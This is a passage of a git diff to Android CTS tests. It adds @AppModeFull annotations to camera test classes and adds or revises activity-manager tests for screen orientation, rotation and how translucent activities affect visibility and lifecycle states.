+@AppModeFull
@LargeTest
public class CameraGLTest extends ActivityInstrumentationTestCase2<GLSurfaceViewCtsActivity> {
private static final String TAG = "CameraGLTest";
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index 71e9bf0..9efccf1 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -39,6 +39,7 @@
import android.os.Environment;
import android.os.Looper;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.test.ActivityInstrumentationTestCase2;
import android.test.MoreAsserts;
import android.test.UiThreadTest;
@@ -64,6 +65,7 @@
/**
* This test case must run with hardware. It can't be tested in emulator
*/
+@AppModeFull
@LargeTest
public class CameraTest extends ActivityInstrumentationTestCase2<CameraCtsActivity> {
private static final String TAG = "CameraTest";
diff --git a/tests/camera/src/android/hardware/cts/Camera_ParametersTest.java b/tests/camera/src/android/hardware/cts/Camera_ParametersTest.java
index b37959e..a614982 100644
--- a/tests/camera/src/android/hardware/cts/Camera_ParametersTest.java
+++ b/tests/camera/src/android/hardware/cts/Camera_ParametersTest.java
@@ -18,7 +18,9 @@
import junit.framework.TestCase;
import android.hardware.Camera.Parameters;
+import android.platform.test.annotations.AppModeFull;
+@AppModeFull
public class Camera_ParametersTest extends TestCase {
public void testAccessMethods() {
diff --git a/tests/camera/src/android/hardware/cts/Camera_SizeTest.java b/tests/camera/src/android/hardware/cts/Camera_SizeTest.java
index 77e75dd..ace3cf7 100644
--- a/tests/camera/src/android/hardware/cts/Camera_SizeTest.java
+++ b/tests/camera/src/android/hardware/cts/Camera_SizeTest.java
@@ -19,6 +19,7 @@
import android.hardware.Camera;
import android.hardware.Camera.Parameters;
import android.hardware.cts.helpers.CameraUtils;
+import android.platform.test.annotations.AppModeFull;
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
@@ -30,6 +31,7 @@
import java.util.Collections;
import java.util.List;
+@AppModeFull
@LargeTest
public class Camera_SizeTest extends CtsAndroidTestCase {
diff --git a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
index 0f48364..6ad8b2e 100644
--- a/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
+++ b/tests/camera/src/android/hardware/multiprocess/camera/cts/CameraEvictionTest.java
@@ -26,6 +26,7 @@
import android.hardware.camera2.CameraManager;
import android.hardware.cts.CameraCtsActivity;
import android.os.Handler;
+import android.platform.test.annotations.AppModeFull;
import android.test.ActivityInstrumentationTestCase2;
import android.util.Log;
@@ -40,6 +41,7 @@
/**
* Tests for multi-process camera usage behavior.
*/
+@AppModeFull
public class CameraEvictionTest extends ActivityInstrumentationTestCase2<CameraCtsActivity> {
public static final String TAG = "CameraEvictionTest";
diff --git a/tests/framework/base/activitymanager/app_base/Android.mk b/tests/framework/base/activitymanager/app_base/Android.mk
index 4f2bb3c..99a584c 100644
--- a/tests/framework/base/activitymanager/app_base/Android.mk
+++ b/tests/framework/base/activitymanager/app_base/Android.mk
@@ -14,9 +14,6 @@
$(call all-named-files-under,Components.java, ../app) \
$(call all-named-files-under,Components.java, ../app27) \
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
LOCAL_MODULE := cts-am-app-base
LOCAL_SDK_VERSION := current
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index 36be03a..1d2bd3e 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -78,7 +78,9 @@
@Presubmit
@Test
public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
- assumeTrue(supportsPip());
+ if (!supportsPip()) {
+ return;
+ }
executeShellCommand(getAmStartCmdOverHome(LAUNCH_PIP_ON_PIP_ACTIVITY));
mAmWmState.waitForValidState(LAUNCH_PIP_ON_PIP_ACTIVITY);
@@ -107,7 +109,9 @@
*/
@Test
public void testTranslucentActivityOnTopOfHome() throws Exception {
- assumeTrue(hasHomeScreen());
+ if (!hasHomeScreen()) {
+ return;
+ }
launchHomeActivity();
launchActivity(ALWAYS_FOCUSABLE_PIP_ACTIVITY);
@@ -125,7 +129,9 @@
@Presubmit
@Test
public void testHomeVisibleOnActivityTaskPinned() throws Exception {
- assumeTrue(supportsPip());
+ if (!supportsPip()) {
+ return;
+ }
launchHomeActivity();
launchActivity(TEST_ACTIVITY);
@@ -150,7 +156,10 @@
@Presubmit
@Test
public void testTranslucentActivityOverDockedStack() throws Exception {
- assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
+ if (!supportsSplitScreenMultiWindow()) {
+ // Skipping test: no multi-window support
+ return;
+ }
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
@@ -184,7 +193,10 @@
@Presubmit
@Test
public void testFinishActivityInNonFocusedStack() throws Exception {
- assumeTrue("Skipping test: no multi-window support", supportsSplitScreenMultiWindow());
+ if (!supportsSplitScreenMultiWindow()) {
+ // Skipping test: no multi-window support
+ return;
+ }
// Launch two activities in docked stack.
launchActivityInSplitScreenWithRecents(LAUNCHING_ACTIVITY);
@@ -231,7 +243,9 @@
// Launch a different activity on top.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
mAmWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED);
- mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, false);
+ final boolean shouldBeVisible =
+ !mAmWmState.getAmState().isBehindOpaqueActivities(MOVE_TASK_TO_BACK_ACTIVITY);
+ mAmWmState.assertVisibility(MOVE_TASK_TO_BACK_ACTIVITY, shouldBeVisible);
mAmWmState.assertVisibility(BROADCAST_RECEIVER_ACTIVITY, true);
// Finish the top-most activity.
@@ -335,7 +349,9 @@
*/
@Test
public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
- assumeTrue(hasHomeScreen());
+ if (!hasHomeScreen()) {
+ return;
+ }
// Start with home on top
launchHomeActivity();
@@ -366,7 +382,9 @@
@Test
public void testTurnScreenOnAttrWithLockScreen() throws Exception {
- assumeTrue(supportsSecureLock());
+ if (!supportsSecureLock()) {
+ return;
+ }
try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
lockScreenSession.setLockCredential()
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
index dc15923..0ce9dcf 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -20,6 +20,8 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
import static android.server.am.ActivityAndWindowManagersState.dpToPx;
import static android.server.am.ActivityManagerState.STATE_RESUMED;
import static android.server.am.ComponentNameUtils.getWindowName;
@@ -48,7 +50,10 @@
import static org.hamcrest.Matchers.lessThan;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
import static org.junit.Assume.assumeTrue;
import android.content.ComponentName;
@@ -77,6 +82,8 @@
// Shell command to request portrait orientation to {@link #BROADCAST_RECEIVER_ACTIVITY}.
private static final String REQUEST_PORTRAIT_BROADCAST = "am broadcast -a "
+ ACTION_TRIGGER_BROADCAST + " --ei " + EXTRA_BROADCAST_ORIENTATION + " 1";
+ private static final String REQUEST_LANDSCAPE_BROADCAST = "am broadcast -a "
+ + ACTION_TRIGGER_BROADCAST + " --ei " + EXTRA_BROADCAST_ORIENTATION + " 0";
private static final int SMALL_WIDTH_DP = 426;
private static final int SMALL_HEIGHT_DP = 320;
@@ -392,6 +399,90 @@
// 1 /* portrait */, updatedReportedSizes.orientation);
}
+ /**
+ * Test that device handles consequent requested orientations and will not report a config
+ * change to an invisible activity.
+ */
+ @Test
+ public void testAppOrientationRequestConfigChanges() {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
+ LogSeparator logSeparator = separateLogs();
+ launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+ mAmWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
+
+ assertLifecycleCounts(PORTRAIT_ORIENTATION_ACTIVITY, logSeparator, 1 /* create */,
+ 1 /* start */, 1 /* resume */, 0 /* pause */, 0 /* stop */, 0 /* destroy */,
+ 0 /* config */);
+
+ launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY);
+ mAmWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */);
+
+ assertLifecycleCounts(PORTRAIT_ORIENTATION_ACTIVITY, logSeparator, 1 /* create */,
+ 1 /* start */, 1 /* resume */, 1 /* pause */, 1 /* stop */, 0 /* destroy */,
+ 0 /* config */);
+ assertLifecycleCounts(LANDSCAPE_ORIENTATION_ACTIVITY, logSeparator, 1 /* create */,
+ 1 /* start */, 1 /* resume */, 0 /* pause */, 0 /* stop */, 0 /* destroy */,
+ 0 /* config */);
+
+ launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+ mAmWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
+
+ assertLifecycleCounts(PORTRAIT_ORIENTATION_ACTIVITY, logSeparator, 2 /* create */,
+ 2 /* start */, 2 /* resume */, 1 /* pause */, 1 /* stop */, 0 /* destroy */,
+ 0 /* config */);
+ assertLifecycleCounts(LANDSCAPE_ORIENTATION_ACTIVITY, logSeparator, 1 /* create */,
+ 1 /* start */, 1 /* resume */, 1 /* pause */, 1 /* stop */, 0 /* destroy */,
+ 0 /* config */);
+ }
+
+ /**
+ * Test that device orientation is restored when an activity that requests it is no longer
+ * visible.
+ */
+ @Test
+ public void testAppOrientationRequestConfigClears() {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
+ LogSeparator logSeparator = separateLogs();
+ launchActivity(TEST_ACTIVITY);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true /* visible */);
+ final ReportedSizes initialReportedSizes =
+ getLastReportedSizesForActivity(TEST_ACTIVITY, logSeparator);
+ final int initialOrientation = initialReportedSizes.orientation;
+
+
+ // Launch an activity that requests different orientation and check that it will be applied
+ final boolean launchingPortrait;
+ if (initialOrientation == 2 /* landscape */) {
+ launchingPortrait = true;
+ } else if (initialOrientation == 1 /* portrait */) {
+ launchingPortrait = false;
+ } else {
+ fail("Unexpected orientation value: " + initialOrientation);
+ return;
+ }
+ final ComponentName differentOrientationActivity = launchingPortrait
+ ? PORTRAIT_ORIENTATION_ACTIVITY : LANDSCAPE_ORIENTATION_ACTIVITY;
+ logSeparator = separateLogs();
+ launchActivity(differentOrientationActivity);
+ mAmWmState.assertVisibility(differentOrientationActivity, true /* visible */);
+ final ReportedSizes rotatedReportedSizes =
+ getLastReportedSizesForActivity(differentOrientationActivity, logSeparator);
+ assertEquals("Applied orientation must correspond to activity request",
+ launchingPortrait ? 1 : 2, rotatedReportedSizes.orientation);
+
+ // Launch another activity on top and check that its orientation is not affected by previous
+ // activity.
+ logSeparator = separateLogs();
+ launchActivity(RESIZEABLE_ACTIVITY);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
+ final ReportedSizes finalReportedSizes =
+ getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY, logSeparator);
+ assertEquals("Applied orientation must not be influenced by previously visible activity",
+ initialOrientation, finalReportedSizes.orientation);
+ }
+
// TODO(b/70870253): This test seems malfunction.
@Ignore("b/70870253")
@Test
@@ -424,7 +515,7 @@
* Test that device handles moving between two tasks with different orientations.
*/
@Test
- public void testTaskCloseRestoreOrientation() {
+ public void testTaskCloseRestoreFixedOrientation() {
assumeTrue("Skipping test: no rotation support", supportsRotation());
// Start landscape activity.
@@ -438,7 +529,7 @@
// Request portrait
executeShellCommand(REQUEST_PORTRAIT_BROADCAST);
- mAmWmState.waitForRotation(1);
+ mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
// Finish activity
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
@@ -452,6 +543,146 @@
/**
* Test that device handles moving between two tasks with different orientations.
*/
+ @Test
+ public void testTaskCloseRestoreFreeOrientation() {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
+ // Start landscape activity.
+ launchActivity(RESIZEABLE_ACTIVITY);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
+ final int initialServerOrientation = mAmWmState.getWmState().getLastOrientation();
+
+ // Verify fixed-landscape
+ LogSeparator logSeparator = separateLogs();
+ launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+ executeShellCommand(REQUEST_LANDSCAPE_BROADCAST);
+ mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_LANDSCAPE);
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+ // Verify that activity brought to front is in originally requested orientation.
+ mAmWmState.waitForActivityState(RESIZEABLE_ACTIVITY, STATE_RESUMED);
+ ReportedSizes reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY,
+ logSeparator);
+ assertNull("Should come back in original orientation", reportedSizes);
+ assertEquals("Should come back in original server orientation",
+ initialServerOrientation, mAmWmState.getWmState().getLastOrientation());
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */, logSeparator);
+
+ // Verify fixed-portrait
+ logSeparator = separateLogs();
+ launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+ executeShellCommand(REQUEST_PORTRAIT_BROADCAST);
+ mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
+ executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+ // Verify that activity brought to front is in originally requested orientation.
+ mAmWmState.waitForActivityState(RESIZEABLE_ACTIVITY, STATE_RESUMED);
+ reportedSizes = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY, logSeparator);
+ assertNull("Should come back in original orientation", reportedSizes);
+ assertEquals("Should come back in original server orientation",
+ initialServerOrientation, mAmWmState.getWmState().getLastOrientation());
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */, logSeparator);
+ }
+
+ /**
+ * Test that activity orientation will change when device is rotated.
+ * Also verify that occluded activity will not get config changes.
+ */
+ @Test
+ public void testAppOrientationWhenRotating() throws Exception {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
+ // Start resizeable activity that handles configuration changes.
+ LogSeparator logSeparator = separateLogs();
+ launchActivity(TEST_ACTIVITY);
+ launchActivity(RESIZEABLE_ACTIVITY);
+ mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
+
+ final int displayId = mAmWmState.getAmState().getDisplayByActivity(RESIZEABLE_ACTIVITY);
+
+ // Rotate the activity and check that it receives configuration changes with a different
+ // orientation each time.
+ try (final RotationSession rotationSession = new RotationSession()) {
+ rotationSession.set(ROTATION_0);
+ ReportedSizes reportedSizes =
+ getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY, logSeparator);
+ int prevOrientation = reportedSizes.orientation;
+
+ final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
+ for (final int rotation : rotations) {
+ logSeparator = separateLogs();
+ rotationSession.set(rotation);
+ final int newDeviceRotation = getDeviceRotation(displayId);
+ if (rotation != newDeviceRotation) {
+ log("This device doesn't support locked user "
+ + "rotation mode. Not continuing the rotation checks.");
+ continue;
+ }
+
+ // Verify lifecycle count and orientation changes.
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
+ 1 /* numConfigChange */, logSeparator);
+ reportedSizes =
+ getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY, logSeparator);
+ assertNotEquals(prevOrientation, reportedSizes.orientation);
+ assertRelaunchOrConfigChanged(TEST_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */, logSeparator);
+
+ prevOrientation = reportedSizes.orientation;
+ }
+ }
+ }
+
+ /**
+ * Test that activity orientation will not change when trying to rotate fixed-orientation
+ * activity.
+ * Also verify that occluded activity will not get config changes.
+ */
+ @Test
+ public void testFixedOrientationWhenRotating() throws Exception {
+ assumeTrue("Skipping test: no rotation support", supportsRotation());
+
+ // Start portrait-fixed activity
+ LogSeparator logSeparator = separateLogs();
+ launchActivity(RESIZEABLE_ACTIVITY);
+ launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+ mAmWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */);
+
+ final int displayId = mAmWmState.getAmState()
+ .getDisplayByActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+
+ // Rotate the activity and check that the orientation doesn't change
+ try (final RotationSession rotationSession = new RotationSession()) {
+ rotationSession.set(ROTATION_0);
+
+ final int[] rotations = { ROTATION_270, ROTATION_180, ROTATION_90, ROTATION_0 };
+ for (final int rotation : rotations) {
+ logSeparator = separateLogs();
+ rotationSession.set(rotation);
+ final int newDeviceRotation = getDeviceRotation(displayId);
+ if (rotation != newDeviceRotation) {
+ log("This device doesn't support locked user "
+ + "rotation mode. Not continuing the rotation checks.");
+ continue;
+ }
+
+ // Verify lifecycle count and orientation changes.
+ assertRelaunchOrConfigChanged(PORTRAIT_ORIENTATION_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */, logSeparator);
+ final ReportedSizes reportedSizes = getLastReportedSizesForActivity(
+ PORTRAIT_ORIENTATION_ACTIVITY, logSeparator);
+ assertNull("No new sizes must be reported", reportedSizes);
+ assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY, 0 /* numRelaunch */,
+ 0 /* numConfigChange */, logSeparator);
+ }
+ }
+ }
+
+ /**
+ * Test that device handles moving between two tasks with different orientations.
+ */
@Presubmit
@Test
@FlakyTest(bugId = 71792393)
@@ -469,7 +700,7 @@
// Request portrait
executeShellCommand(REQUEST_PORTRAIT_BROADCAST);
- mAmWmState.waitForRotation(1);
+ mAmWmState.waitForLastOrientation(SCREEN_ORIENTATION_PORTRAIT);
// Finish activity
executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
index 2acf3ac..7873dbe 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -274,7 +274,10 @@
EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
waitForValidStateWithActivityTypeAndWindowingMode(
TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
- mAmWmState.assertHomeActivityVisible(false);
+ boolean isTranslucent = mAmWmState.getAmState().isActivityTranslucent(TEST_ACTIVITY);
+ // Home should be visible if the occluding activity is translucent, else home shouldn't
+ // be visible.
+ mAmWmState.assertHomeActivityVisible(isTranslucent);
pressBackButton();
mAmWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
assertAssistantStackExists();
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
index 32dbce9..4828c34 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerTransitionSelectionTests.java
@@ -40,6 +40,8 @@
import android.platform.test.annotations.Presubmit;
import android.support.test.filters.FlakyTest;
+import org.junit.Assume;
+import org.junit.Before;
import org.junit.Test;
/**
@@ -58,6 +60,17 @@
@FlakyTest(bugId = 71792333)
public class ActivityManagerTransitionSelectionTests extends ActivityManagerTestBase {
+ @Override
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+
+ // Transition selection tests are currently disabled on Wear because
+ // config_windowSwipeToDismiss is set to true, which breaks all kinds of assumptions in the
+ // transition selection logic.
+ Assume.assumeTrue(!isWatch());
+ }
+
// Test activity open/close under normal timing
@Test
public void testOpenActivity_NeitherWallpaper() {
diff --git a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
index 003f89b..5d2d82b 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/KeyguardLockedTests.java
@@ -35,6 +35,7 @@
import static org.junit.Assume.assumeTrue;
import android.content.ComponentName;
+
import org.junit.Before;
import org.junit.Test;
@@ -102,8 +103,10 @@
lockScreenSession.enterAndConfirmLockCredential();
mAmWmState.waitForKeyguardGone();
mAmWmState.assertKeyguardGone();
+ boolean isDismissTranslucent =
+ mAmWmState.getAmState().isActivityTranslucent(DISMISS_KEYGUARD_ACTIVITY);
mAmWmState.assertVisibility(DISMISS_KEYGUARD_ACTIVITY, true);
- mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, false);
+ mAmWmState.assertVisibility(SHOW_WHEN_LOCKED_ACTIVITY, isDismissTranslucent);
}
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
index c912e6e..f76979c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleClientTestBase.java
@@ -5,12 +5,15 @@
import static android.server.am.lifecycle.LifecycleLog.ActivityCallback
.ON_MULTI_WINDOW_MODE_CHANGED;
import static android.server.am.lifecycle.LifecycleLog.ActivityCallback.ON_NEW_INTENT;
+import static android.server.am.lifecycle.LifecycleLog.ActivityCallback.ON_PAUSE;
import static android.server.am.lifecycle.LifecycleLog.ActivityCallback.ON_POST_CREATE;
+import static android.server.am.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
import android.annotation.Nullable;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
+import android.content.pm.ActivityInfo;
import android.content.res.Configuration;
import android.os.Bundle;
import android.os.Handler;
@@ -126,6 +129,35 @@
return new Pair<>(activity, stage);
}
+ /**
+ * Returns a pair of the activity and the state it should be in based on the configuration of
+ * occludingActivity.
+ */
+ static Pair<Activity, ActivityCallback> occludedActivityState(
+ Activity activity, Activity occludingActivity) {
+ return occludedActivityState(activity, isTranslucent(occludingActivity));
+ }
+
+ /**
+ * Returns a pair of the activity and the state it should be in based on
+ * occludingActivityIsTranslucent.
+ */
+ static Pair<Activity, ActivityCallback> occludedActivityState(
+ Activity activity, boolean occludingActivityIsTranslucent) {
+ // Activities behind a translucent activity should be in the paused state since they are
+ // still visible. Otherwise, they should be in the stopped state.
+ return new Pair<>(activity, occludedActivityState(occludingActivityIsTranslucent));
+ }
+
+ static ActivityCallback occludedActivityState(boolean occludingActivityIsTranslucent) {
+ return occludingActivityIsTranslucent ? ON_PAUSE : ON_STOP;
+ }
+
+ /** Returns true if the input activity is translucent. */
+ static boolean isTranslucent(Activity activity) {
+ return ActivityInfo.isTranslucentOrFloating(activity.getWindow().getWindowStyle());
+ }
+
// Test activity
public static class FirstActivity extends Activity {
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
index 7c04612..881d002 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/ActivityLifecycleTests.java
@@ -2,6 +2,7 @@
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.ActivityManagerState.STATE_PAUSED;
import static android.server.am.ActivityManagerState.STATE_STOPPED;
import static android.server.am.UiDeviceUtils.pressBackButton;
import static android.server.am.lifecycle.LifecycleLog.ActivityCallback.ON_ACTIVITY_RESULT;
@@ -22,12 +23,14 @@
import static android.view.Surface.ROTATION_270;
import static android.view.Surface.ROTATION_90;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
import android.app.Activity;
+import android.app.Instrumentation.ActivityMonitor;
import android.content.ComponentName;
import android.content.Intent;
+import android.content.pm.ActivityInfo;
import android.platform.test.annotations.Presubmit;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.FlakyTest;
@@ -68,11 +71,11 @@
getLifecycleLog().clear();
final Activity secondActivity = mSecondActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(firstActivity, ON_STOP),
+ waitAndAssertActivityStates(occludedActivityState(firstActivity, secondActivity),
state(secondActivity, ON_RESUME));
LifecycleVerifier.assertLaunchSequence(SecondActivity.class, FirstActivity.class,
- getLifecycleLog());
+ getLifecycleLog(), isTranslucent(secondActivity));
}
@Test
@@ -118,25 +121,34 @@
final Activity stoppedActivity = mFirstActivityTestRule.launchActivity(new Intent());
final Activity topActivity = mSecondActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(stoppedActivity, ON_STOP), state(topActivity, ON_RESUME));
+ waitAndAssertActivityStates(
+ occludedActivityState(stoppedActivity, topActivity), state(topActivity, ON_RESUME));
getLifecycleLog().clear();
InstrumentationRegistry.getInstrumentation().runOnMainSync(stoppedActivity::recreate);
- waitAndAssertActivityStates(state(stoppedActivity, ON_STOP));
+ waitAndAssertActivityStates(occludedActivityState(stoppedActivity, topActivity));
- LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(), ON_STOP);
+ LifecycleVerifier.assertRelaunchSequence(FirstActivity.class, getLifecycleLog(),
+ occludedActivityState(isTranslucent(topActivity)));
}
@Test
public void testRelaunchConfigurationChangedWhileBecomingVisible() throws Exception {
+ if (!supportsRotation()) {
+ // Skip rotation test if device doesn't support it.
+ return;
+ }
+
final Activity becomingVisibleActivity =
mFirstActivityTestRule.launchActivity(new Intent());
final Activity translucentActivity =
mTranslucentActivityTestRule.launchActivity(new Intent());
final Activity topOpaqueActivity = mSecondActivityTestRule.launchActivity(new Intent());
- waitAndAssertActivityStates(state(becomingVisibleActivity, ON_STOP),
- state(translucentActivity, ON_STOP), state(topOpaqueActivity, ON_RESUME));
+ waitAndAssertActivityStates(
+ occludedActivityState(becomingVisibleActivity, topOpaqueActivity),
+ occludedActivityState(translucentActivity, topOpaqueActivity),
+ state(topOpaqueActivity, ON_RESUME));
getLifecycleLog().clear();
try (final RotationSession rotationSession = new RotationSession()) {
@@ -193,8 +205,7 @@
mFirstActivityTestRule.launchActivity(new Intent());
// Launch translucent activity on top
- final Activity translucentActivity =
- mTranslucentActivityTestRule.launchActivity(new Intent());
+ mTranslucentActivityTestRule.launchActivity(new Intent());
// Launch another translucent activity on top to make sure the fullscreen activity
// transitions to final state
@@ -225,25 +236,38 @@
// Wait for top activity to resume
waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
- state(translucentActivity, ON_STOP), state(firstActivity, ON_STOP));
+ occludedActivityState(translucentActivity, secondActivity),
+ occludedActivityState(firstActivity, secondActivity));
getLifecycleLog().clear();
+ final boolean secondActivityIsTranslucent = ActivityInfo.isTranslucentOrFloating(
+ secondActivity.getWindow().getWindowStyle());
+
// Finish top activity
mSecondActivityTestRule.finishActivity();
- // Wait for translucent activity to resume
- waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
- state(firstActivity, ON_PAUSE));
+ if (secondActivityIsTranslucent) {
+ // In this case we don't expect the state of the firstActivity to change since it is
+ // already in the visible paused state. So, we just verify that translucentActivity
+ // transitions to resumed state.
+ waitAndAssertActivityStates(state(translucentActivity, ON_RESUME));
+ } else {
+ // Wait for translucent activity to resume
+ waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
+ state(firstActivity, ON_START));
- // Verify that the first activity was restarted to pause
- LifecycleVerifier.assertRestartAndPauseSequence(FirstActivity.class, getLifecycleLog());
+ // Verify that the first activity was restarted
+ LifecycleVerifier.assertRestartSequence(FirstActivity.class, getLifecycleLog());
+ }
}
@Test
public void testPausedWhenRecreatedFromInNonFocusedStack() throws Exception {
- assumeTrue("Skipping test: no split multi-window support",
- supportsSplitScreenMultiWindow());
+ if (!supportsSplitScreenMultiWindow()) {
+ // Skipping test: no split multi-window support
+ return;
+ }
// Launch first activity
final Activity firstActivity =
